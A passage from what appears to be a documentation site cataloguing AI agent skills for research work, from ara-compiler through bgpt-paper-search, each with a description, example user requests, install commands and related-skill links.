single-cell atlas project written up in a machine-readable form that an AI agent could follow and check, with every claim falsifiable and tied to evidence. I only have messy notes in notes.md and a few result CSVs. How do I get there?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill ara-compiler # GitHub CLI gh skill install KalarisLabs/research-agent-skills ara-compiler ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-automation` category with `/plugin install research-automation@research-agent-skills`. ## Related * [`ara-research-manager`](/research-agent-skills/skills/ara-research-manager) * [`ara-rigor-reviewer`](/research-agent-skills/skills/ara-rigor-reviewer) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/ara-compiler/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # ara-research-manager — AI agent skill for research automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/ara-research-manager Records research provenance at the end of a coding or research session by scanning the conversation and writing decisions, experiments, dead ends, pivots… # `ara-research-manager` **Category:** [research-automation](/research-agent-skills/skills#research-automation) · **License:** MIT · **Version:** 1.0.0 **Tags:** ARA, Research Recording, Provenance, Session Logging, Knowledge Management, Exploration Tree, Research Tooling ## When to use it Records research provenance at the end of a coding or research session by scanning the conversation and writing decisions, experiments, dead ends, pivots, claims, and heuristics into the ara/ directory (exploration\_tree.yaml, claims.md, heuristics.md, observations.yaml, session records), each tagged user, ai-suggested, ai-executed, or user-revised. Use when a task is finished and you want a session epilogue. Use when you need an auditable trace of how a project evolved. Use when decisions and dead ends need logging with provenance. Use when initializing an ara/ directory. Do not use during task execution, since it must run only after the request is complete. ## Example requests Ask your agent in plain language, for example: * *"ok we're done for today, log the session"* * *"That finishes the ablation on my CIFAR-10 ResNet-18 run. We tried cosine vs step LR (cosine hit 94.1% vs 92.7%), dropped mixup after it hurt accuracy, and I decided to keep label smoothing 0.1. Now that everything's finished, can you record all of this in ara/trace/exploration\_tree.yaml and ara/logic/claims.md so there's a record of who decided what, and add a session file?"* * *"My project just wrapped up its first phase and I need a durable, auditable trail of how our direction changed over the past few weeks of chats, including which ideas were mine and which came from the assistant. There's no folder for this yet. Can you set that up and fill it in?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill ara-research-manager # GitHub CLI gh skill install KalarisLabs/research-agent-skills ara-research-manager ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-automation` category with `/plugin install research-automation@research-agent-skills`. ## Related * [`ara-compiler`](/research-agent-skills/skills/ara-compiler) * [`ara-rigor-reviewer`](/research-agent-skills/skills/ara-rigor-reviewer) * [`treatment-plans`](/research-agent-skills/skills/treatment-plans) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/ara-research-manager/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # ara-rigor-reviewer — AI agent skill for research automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/ara-rigor-reviewer Performs ARA Seal Level 2 semantic epistemic review of an Agent-Native Research Artifact directory, reading PAPER.md, logic/claims.md, logic/experiments.md… # `ara-rigor-reviewer` **Category:** [research-automation](/research-agent-skills/skills#research-automation) · **License:** MIT · **Version:** 3.0.0 **Tags:** ARA, Epistemic Review, Research Rigor, Peer Review, Scoring, Audit, Falsifiability, Research Tooling ## When to use it Performs ARA Seal Level 2 semantic epistemic review of an Agent-Native Research Artifact directory, reading PAPER.md, logic/claims.md, logic/experiments.md, and trace/exploration\_tree.yaml. Scores six dimensions (evidence relevance, falsifiability, scope calibration, argument coherence, exploration integrity, methodological rigor) from 1 to 5 and writes a severity-ranked level2\_report.json with a Strong Accept to Reject grade. Use when Level 1 structural validation has passed and an ARA needs a critique before release. Use when checking whether claims are supported by their cited experiments. Use when auditing falsification criteria or scope over-claiming. Use when judging whether an exploration tree documents real dead ends. Not for structural or reference validation, which is Level 1. ## Example requests Ask your agent in plain language, for example: * *"Can you give my ARA a rigor review before I publish it? It's in ./artifacts/lora-merge-ara"* * *"Level 1 passed on ara\_out/protein-fold-bench. Claim C03 says our retrieval reranker 'generalizes across all protein families' but it only cites E02, which is run on 4 CATH superfamilies. Also the falsification criterion for C03 just says 'if it doesn't work'. Can you critique whether these claims actually hold up and write up the findings?"* * *"I've got this research artifact folder with claims, experiments and a log of what we tried. Structure checks are done. I want an honest second opinion on whether the dead ends in our log are real or just tidied up for show, and whether our argument hangs together."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill ara-rigor-reviewer # GitHub CLI gh skill install KalarisLabs/research-agent-skills ara-rigor-reviewer ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-automation` category with `/plugin install research-automation@research-agent-skills`. ## Related * [`ara-compiler`](/research-agent-skills/skills/ara-compiler) * [`ara-research-manager`](/research-agent-skills/skills/ara-research-manager) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/ara-rigor-reviewer/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # arbor — AI agent skill for research automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/arbor Autonomously improve a real artifact (code, training recipe, agent harness, data pipeline, prompt) against an objective and an evaluator, using Hypothesis… # `arbor` **Category:** [research-automation](/research-agent-skills/skills#research-automation) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** autonomous optimization, hypothesis tree, research automation, AI agents, experiments ## When to use it Autonomously improve a real artifact (code, training recipe, agent harness, data pipeline, prompt) against an objective and an evaluator, using Hypothesis Tree Refinement (HTR) from the Arbor paper. Use this whenever someone wants to iteratively optimize something over many experiments without overfitting — e.g. "get my model's eval score up", "improve this agent/harness", "tune this pipeline", "beat the baseline on this benchmark", "run a search over approaches and keep the best", "do an MLE-bench / Kaggle-style optimization", or any long-horizon "make this artifact better and don't just memorize the dev set" task. Trigger it even when the user doesn't say "Arbor" or "hypothesis tree" but describes repeated experiment-and-evaluate loops, branching exploration of competing ideas, or worries about a dev/test gap. Runs Claude itself as the coordinator with subagent executors in isolated git worktrees; for the standalone `arbor` CLI tool see references/arbor-upstream.md. ## Example requests Ask your agent in plain language, for example: * *"I have a training script for a small transformer and I want to push validation perplexity down as far as possible. Can you run a long autonomous search over optimizer and architecture tweaks and keep only what really generalizes?"* * *"improve my agent harness pass rate"* * *"My repo at ./mle\_tabular is a Kaggle-style tabular competition solution (LightGBM, features in features.py, 5-fold CV in cv.py, MAE currently 0.412). I'd like to try many different approaches in parallel, record what each one taught us, drop the dead ends, and make sure the final winner isn't just overfit to the CV folds. Budget is about 20 rounds."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill arbor # GitHub CLI gh skill install KalarisLabs/research-agent-skills arbor ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-automation` category with `/plugin install research-automation@research-agent-skills`. ## Related * [`hypothesis-generation`](/research-agent-skills/skills/hypothesis-generation) * [`research-skill-creator`](/research-agent-skills/skills/research-skill-creator) * [`scientific-brainstorming`](/research-agent-skills/skills/scientific-brainstorming) * [`statistical-analysis`](/research-agent-skills/skills/statistical-analysis) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/arbor/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # arboreto — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/arboreto Infer gene regulatory networks (GRNs) from gene expression data using scalable algorithms (GRNBoost2, GENIE3). # `arboreto` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** BSD-3-Clause license · **Version:** 1.1 · **Includes scripts** **Tags:** gene regulatory networks, GRNBoost2, transcriptomics, single-cell, bioinformatics ## When to use it Infer gene regulatory networks (GRNs) from gene expression data using scalable algorithms (GRNBoost2, GENIE3). Use when analyzing transcriptomics data (bulk RNA-seq, single-cell RNA-seq) to identify transcription factor-target gene relationships and regulatory interactions. Supports distributed computation for large-scale datasets. ## Example requests Ask your agent in plain language, for example: * *"How do I infer a TF-target network from my expression matrix with GRNBoost2?"* * *"I have a 12,000-cell scRNA-seq dataset in pbmc.h5ad and a list of human TFs in allTFs\_hg38.txt. I ran grnboost2 in a script on Windows and got a Dask error: 'An attempt has been made to start a new process before the current process has finished its bootstrapping phase.' How do I fix this and run it properly?"* * *"I want to figure out which transcription factors are likely driving gene expression changes across my 200 bulk liver samples. I'd like a ranked list of regulator-to-target gene links I can then feed into a downstream regulon analysis. What should I do?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill arboreto # GitHub CLI gh skill install KalarisLabs/research-agent-skills arboreto ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`bulk-rnaseq`](/research-agent-skills/skills/bulk-rnaseq) * [`cellxgene-census`](/research-agent-skills/skills/cellxgene-census) * [`scikit-learn`](/research-agent-skills/skills/scikit-learn) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/arboreto/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # arxiv-submission — AI agent skill for journal formats Source: https://docs.kalarislabs.com/research-agent-skills/skills/arxiv-submission Prepare and post preprints to arXiv without processing failures or leaks, covering TeX source packaging (.bbl, figures, case-sensitive paths), stripping… # `arxiv-submission` **Category:** [journal-formats](/research-agent-skills/skills#journal-formats) · **License:** MIT · **Version:** 1.0 · **Includes scripts** **Tags:** arXiv, preprint, LaTeX, submission, open access ## When to use it Prepare and post preprints to arXiv without processing failures or leaks, covering TeX source packaging (.bbl, figures, case-sensitive paths), stripping private comments, choosing categories and license, endorsement, metadata (title, abstract, comments field), versioning and replacements, and linking the journal DOI later. Use when posting a paper to arXiv, when arXiv's TeX compilation fails, before uploading source, or when updating a preprint after acceptance. Includes a zero-dependency preflight checker. ## Example requests Ask your agent in plain language, for example: * *"arXiv failed to compile my paper, help me prepare the source upload."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill arxiv-submission # GitHub CLI gh skill install KalarisLabs/research-agent-skills arxiv-submission ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `journal-formats` category with `/plugin install journal-formats@research-agent-skills`. ## Related * [`acm-sigconf`](/research-agent-skills/skills/acm-sigconf) * [`bibtex-hygiene`](/research-agent-skills/skills/bibtex-hygiene) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [`ml-paper-writing`](/research-agent-skills/skills/ml-paper-writing) * [`reproducibility-statement`](/research-agent-skills/skills/reproducibility-statement) * [`venue-templates`](/research-agent-skills/skills/venue-templates) * [`ieee-transactions`](/research-agent-skills/skills/ieee-transactions) * [`springer-lncs`](/research-agent-skills/skills/springer-lncs) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/arxiv-submission/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # astropy — AI agent skill for physical sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/astropy Core Python library for astronomy and astrophysics workflows that need Astropy APIs, including units/quantities, coordinates, FITS I/O, tables, time systems… # `astropy` **Category:** [physical-sciences](/research-agent-skills/skills#physical-sciences) · **License:** BSD-3-Clause license · **Version:** 1.3 **Tags:** astronomy, astrophysics, FITS, coordinates, cosmology, physics ## When to use it Core Python library for astronomy and astrophysics workflows that need Astropy APIs, including units/quantities, coordinates, FITS I/O, tables, time systems, WCS, and cosmology. Use when implementing or debugging astronomical data analysis code with Astropy. ## Example requests Ask your agent in plain language, for example: * *"How do I convert a list of RA/Dec in ICRS to Galactic l, b?"* * *"I'm opening ngc1300\_drz.fits with fits.open and want the science image from the 'SCI' extension plus the EXPTIME keyword. Then I need to turn pixel (512, 480) into RA/Dec. I'm getting 'WARNING: FITSFixedWarning: 'datfix' made the change...' when I build the WCS. What's going on and how should I write this?"* * *"I have a catalog of supernova redshifts and need to know how far away they are in Mpc and how long ago the light left, assuming a flat universe with H0=70 and Om0=0.3. I'd also like to go back from a given distance to a redshift."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill astropy # GitHub CLI gh skill install KalarisLabs/research-agent-skills astropy ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `physical-sciences` category with `/plugin install physical-sciences@research-agent-skills`. ## Related * [`uncertainty-and-units`](/research-agent-skills/skills/uncertainty-and-units) * [Skills for physics and astronomy](/research-agent-skills/fields/physics) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/astropy/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # audiocraft-audio-generation — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/audiocraft-audio-generation PyTorch library for audio generation including text-to-music (MusicGen) and text-to-sound (AudioGen). # `audiocraft-audio-generation` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** Multimodal, Audio Generation, Text-to-Music, Text-to-Audio, MusicGen ## When to use it PyTorch library for audio generation including text-to-music (MusicGen) and text-to-sound (AudioGen). Use when you need to generate music from text descriptions, create sound effects, or perform melody-conditioned music generation. ## Example requests Ask your agent in plain language, for example: * *"I need a 15 second lo-fi hip hop clip with mellow piano and vinyl crackle. What's the quickest way to get that going locally?"* * *"I'm getting CUDA out of memory when I run MusicGen.get\_pretrained('facebook/musicgen-large') with duration=30 on my 8GB RTX 3070 in generate\_music.py. How do I fix this? I still want batches of different prompts for a user study stimulus set."* * *"For a perception experiment I need a set of short ambient clips, such as dog barking, rain on a window and a door slamming, all generated from written descriptions. I also have a reference 10 s humming recording that I want one of the music clips to follow. How should I set this up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill audiocraft-audio-generation # GitHub CLI gh skill install KalarisLabs/research-agent-skills audiocraft-audio-generation ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/audiocraft-audio-generation/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # autogpt-agents — AI agent skill for llm applications Source: https://docs.kalarislabs.com/research-agent-skills/skills/autogpt-agents Autonomous AI agent platform for building and deploying continuous agents. # `autogpt-agents` **Category:** [llm-applications](/research-agent-skills/skills#llm-applications) · **License:** MIT · **Version:** 1.0.0 **Tags:** Agents, AutoGPT, Autonomous Agents, Workflow Automation, Visual Builder, AI Platform ## When to use it Autonomous AI agent platform for building and deploying continuous agents. Use when creating visual workflow agents, deploying persistent autonomous agents, or building complex multi-step AI automation systems. ## Example requests Ask your agent in plain language, for example: * *"How do I set up AutoGPT locally with Docker?"* * *"I'm running the AutoGPT platform in Docker for my lab's literature-monitoring agent. I built a graph in the builder with a webhook block feeding an AITextGeneratorBlock and then an OUTPUT block, but when GitHub fires the webhook the execution just hangs in 'running' and never finishes. Services show as up. How do I debug this?"* * *"I want something that watches a set of preprint servers every morning, summarizes new papers that match my topics, and posts the summaries to our lab Discord without me touching anything. I'd like to build it by dragging boxes together instead of writing code. What are my options?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill autogpt-agents # GitHub CLI gh skill install KalarisLabs/research-agent-skills autogpt-agents ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `llm-applications` category with `/plugin install llm-applications@research-agent-skills`. ## Related * [`crewai-multi-agent`](/research-agent-skills/skills/crewai-multi-agent) * [`evolving-ai-agents`](/research-agent-skills/skills/evolving-ai-agents) * [`autoresearch`](/research-agent-skills/skills/autoresearch) * [`langchain`](/research-agent-skills/skills/langchain) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/autogpt-agents/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # autoresearch — AI agent skill for research automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/autoresearch Orchestrates end-to-end autonomous AI research projects using a two-loop architecture. # `autoresearch` **Category:** [research-automation](/research-agent-skills/skills#research-automation) · **License:** MIT · **Version:** 1.0.0 **Tags:** Autonomous Research, Two-Loop Architecture, Experiment Orchestration, Research Synthesis, Project Management ## When to use it Orchestrates end-to-end autonomous AI research projects using a two-loop architecture. The inner loop runs rapid experiment iterations with clear optimization targets. The outer loop synthesizes results, identifies patterns, and steers research direction. Routes to domain-specific skills for execution, supports continuous agent operation via Claude Code /loop and OpenClaw heartbeat, and produces research presentations and papers. Use when starting a research project, running autonomous experiments, or managing a multi-hypothesis research effort. ## Example requests Ask your agent in plain language, for example: * *"I want to spin up an autonomous research project on whether sparse attention hurts long-context retrieval. Set it up and just start running."* * *"I have a research-state.yaml and findings.md in \~/proj/grokking-wd from last week. Weight decay sweeps on modular addition (H1 supported, H2 inconclusive) and about 12 runs logged in data/trajectory\_H1\_runs001-012.csv. Pick up where we left off."* * *"I'm going to be offline for a few days. Can you keep investigating why my small transformer's loss spikes early in training, running experiments on your own, testing ideas, and then writing up what you find with a summary deck I can look at when I'm back?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill autoresearch # GitHub CLI gh skill install KalarisLabs/research-agent-skills autoresearch ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-automation` category with `/plugin install research-automation@research-agent-skills`. ## Related * [`autogpt-agents`](/research-agent-skills/skills/autogpt-agents) * [`brainstorming-research-ideas`](/research-agent-skills/skills/brainstorming-research-ideas) * [`creative-thinking-for-research`](/research-agent-skills/skills/creative-thinking-for-research) * [`research-skill-creator`](/research-agent-skills/skills/research-skill-creator) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/autoresearch/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # autoskill — AI agent skill for research automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/autoskill Observe the user's screen via screenpipe, detect repeated research workflows, match them against existing research-agent-skills, and draft new skills (or… # `autoskill` **Category:** [research-automation](/research-agent-skills/skills#research-automation) · **License:** MIT · **Version:** 1.4 · **Includes scripts** **Tags:** skill authoring, workflow automation, research automation, AI agents ## When to use it Observe the user's screen via screenpipe, detect repeated research workflows, match them against existing research-agent-skills, and draft new skills (or composition recipes that chain existing ones) for the patterns not yet covered. Use when the user asks to analyze their recent work and propose skills based on what they actually do. Requires the screenpipe daemon ([https://github.com/screenpipe/screenpipe](https://github.com/screenpipe/screenpipe)) running locally on port 3030 — the skill has no other data source and will refuse to run if screenpipe is unreachable. All detection runs locally; only redacted cluster summaries reach the LLM. ## Example requests Ask your agent in plain language, for example: * *"Can you look at what I did this afternoon and suggest skills I should make from it?"* * *"I've spent the past week bouncing between Zotero, RStudio, and Overleaf for my meta-analysis, over and over. Run autoskill on the last 7 days, but use --plan first so I can see what gets analyzed before anything goes to Claude. Screenpipe is on port 3030 and my token is in SCREENPIPE\_TOKEN."* * *"I keep doing the same dance every day: pull new papers, skim them, copy notes into my lab notebook, then format the references. Can you watch how I actually work over the last few days and work out which of those steps my existing skills already handle and which still need something new?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill autoskill # GitHub CLI gh skill install KalarisLabs/research-agent-skills autoskill ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-automation` category with `/plugin install research-automation@research-agent-skills`. ## Related * [`citation-management`](/research-agent-skills/skills/citation-management) * [`generate-image`](/research-agent-skills/skills/generate-image) * [`literature-review`](/research-agent-skills/skills/literature-review) * [`research-skill-creator`](/research-agent-skills/skills/research-skill-creator) * [`scientific-schematics`](/research-agent-skills/skills/scientific-schematics) * [`scientific-slides`](/research-agent-skills/skills/scientific-slides) * [`scientific-writing`](/research-agent-skills/skills/scientific-writing) * [`sentence-transformers`](/research-agent-skills/skills/sentence-transformers) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/autoskill/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # awq-quantization — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/awq-quantization Activation-aware weight quantization for 4-bit LLM compression with 3x speedup and minimal accuracy loss. # `awq-quantization` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Optimization, AWQ, Quantization, 4-Bit, Activation-Aware, Memory Optimization, Fast Inference, vLLM Integration, Marlin Kernels ## When to use it Activation-aware weight quantization for 4-bit LLM compression with 3x speedup and minimal accuracy loss. Use when deploying large models (7B-70B) on limited GPU memory, when you need faster inference than GPTQ with better accuracy preservation, or for instruction-tuned and multimodal models. MLSys 2024 Best Paper Award winner. ## Example requests Ask your agent in plain language, for example: * *"How do I load a 4-bit AWQ Llama 3 8B in transformers?"* * *"I have a fine-tuned Mistral-7B-Instruct in ./checkpoints/mistral-ft that I want to quantize to 4-bit with activation-aware quantization for vLLM serving on an A100. I'm getting 'CUDA out of memory' during the calibration step on a 24GB card. How should I do this and fix the OOM?"* * *"I need to fit a 70B chat model onto two 40GB GPUs for inference, with about 3% perplexity increase at most and as fast as possible decoding. Which compression approach should I use and how do I set it up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill awq-quantization # GitHub CLI gh skill install KalarisLabs/research-agent-skills awq-quantization ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`quantizing-models-bitsandbytes`](/research-agent-skills/skills/quantizing-models-bitsandbytes) * [`serving-llms-vllm`](/research-agent-skills/skills/serving-llms-vllm) * [`gguf-quantization`](/research-agent-skills/skills/gguf-quantization) * [`gptq`](/research-agent-skills/skills/gptq) * [`model-pruning`](/research-agent-skills/skills/model-pruning) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/awq-quantization/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # axolotl — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/axolotl Provides guidance for fine-tuning large language models with Axolotl, covering YAML training configs, LoRA and QLoRA, preference training with DPO, KTO, ORPO… # `axolotl` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Fine-Tuning, Axolotl, LLM, LoRA, QLoRA, DPO, KTO, ORPO, GRPO, YAML, HuggingFace, DeepSpeed, Multimodal ## When to use it Provides guidance for fine-tuning large language models with Axolotl, covering YAML training configs, LoRA and QLoRA, preference training with DPO, KTO, ORPO and GRPO, multimodal models, FSDP and multi-GPU setups, sequence (context) parallelism, NCCL bandwidth tests, dataset formats, compressed model saving for vLLM and llmcompressor, and custom integrations. Use when writing or debugging an Axolotl YAML config, choosing a dataset format for a fine-tuning run, setting up FSDP or context\_parallel\_size across GPUs, or running DPO, KTO, ORPO or GRPO training. Use when saving a compressed model for vLLM inference, or when writing a custom Axolotl plugin or integration. Not for inference serving or general Hugging Face Trainer scripts outside Axolotl. ## Example requests Ask your agent in plain language, for example: * *"my axolotl run dies with OOM on 2x A100 40GB when I turn on 8k context. how do I split sequences across the two GPUs?"* * *"I'm fine-tuning Llama-3.1-8B with QLoRA in Axolotl on a JSONL file of \{"prompt", "chosen", "rejected"} rows at data/prefs.jsonl. Can you write me a config for DPO and tell me which dataset type to set? I get 'KeyError: messages' right now."* * *"I trained a model and want to ship a smaller checkpoint to serve with vLLM, and maybe quantize it further later with llmcompressor. How can I save it so the files take less disk space while still loading in those tools?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill axolotl # GitHub CLI gh skill install KalarisLabs/research-agent-skills axolotl ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`llama-factory`](/research-agent-skills/skills/llama-factory) * [`peft-fine-tuning`](/research-agent-skills/skills/peft-fine-tuning) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/axolotl/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # benchling-integration — AI agent skill for lab automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/benchling-integration Benchling Python SDK and REST API integration for registry entities, inventory, ELN entries, workflows, Benchling Apps, and Data Warehouse queries. # `benchling-integration` **Category:** [lab-automation](/research-agent-skills/skills#lab-automation) · **License:** MIT · **Version:** 1.5 **Tags:** Benchling, electronic lab notebook, LIMS, lab automation, biotech ## When to use it Benchling Python SDK and REST API integration for registry entities, inventory, ELN entries, workflows, Benchling Apps, and Data Warehouse queries. Use when automating lab data with benchling-sdk or the v2 API. ## Example requests Ask your agent in plain language, for example: * *"How do I list all DNA sequences in a Benchling project using the Python SDK?"* * *"I have plasmids.csv with columns name, bases, schema\_id, and folder\_id for about 400 plasmids. I need to bulk register them as DNA sequences in our Benchling registry with a naming prefix. My script using benchling-sdk 1.25.0 keeps failing partway with a 429 error, and some rows were already created. How should I fix it?"* * *"Our lab keeps freezer sample locations and plate contents in Benchling. I want a nightly script that pulls every container in a given freezer box, checks for ones that are empty or expired, and writes a CSV audit report for my PI. Where do I start?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill benchling-integration # GitHub CLI gh skill install KalarisLabs/research-agent-skills benchling-integration ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `lab-automation` category with `/plugin install lab-automation@research-agent-skills`. ## Related * [`labarchive-integration`](/research-agent-skills/skills/labarchive-integration) * [`latchbio-integration`](/research-agent-skills/skills/latchbio-integration) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/benchling-integration/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # bgpt-paper-search — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/bgpt-paper-search Search scientific papers and retrieve structured experimental data extracted from full-text studies via the BGPT MCP server. # `bgpt-paper-search` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** MIT · **Version:** 1.1 **Tags:** paper search, literature review, evidence synthesis, structured data extraction, MCP ## When to use it Search scientific papers and retrieve structured experimental data extracted from full-text studies via the BGPT MCP server. Returns 25+ fields per paper including methods, results, sample sizes, quality scores, and conclusions. Use for literature reviews, evidence synthesis, and finding experimental details not available in abstracts alone. ## Example requests Ask your agent in plain language, for example: * *"Find me papers on creatine supplementation and working memory with sample sizes and effect sizes."* * *"I'm building an evidence table for a scoping review on CRISPR base editing for sickle cell disease, 2019-2025, human or humanized mouse studies only. I need the methods, n per arm, the main quantitative outcome and a quality rating for each study, pulled from the full text rather than abstracts. Can you set that up and run it? I'm on the free tier."* * *"My PI wants to know which in vivo mouse models have been used to test GLP-1 agonists for neuroprotection and how many animals each study used. What does the literature say? I want details that go beyond what abstracts report."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill bgpt-paper-search # GitHub CLI gh skill install KalarisLabs/research-agent-skills bgpt-paper-search ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [`folklore-variant-evidence`](/research-agent-skills/skills/folklore-variant-evidence) * [`scientific-critical-thinking`](/research-agent-skills/skills/scientific-critical-thinking) * [`statistical-analysis`](/research-agent-skills/skills/statistical-analysis) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/bgpt-paper-search/SKILL.md) for the complete workflow, references and any 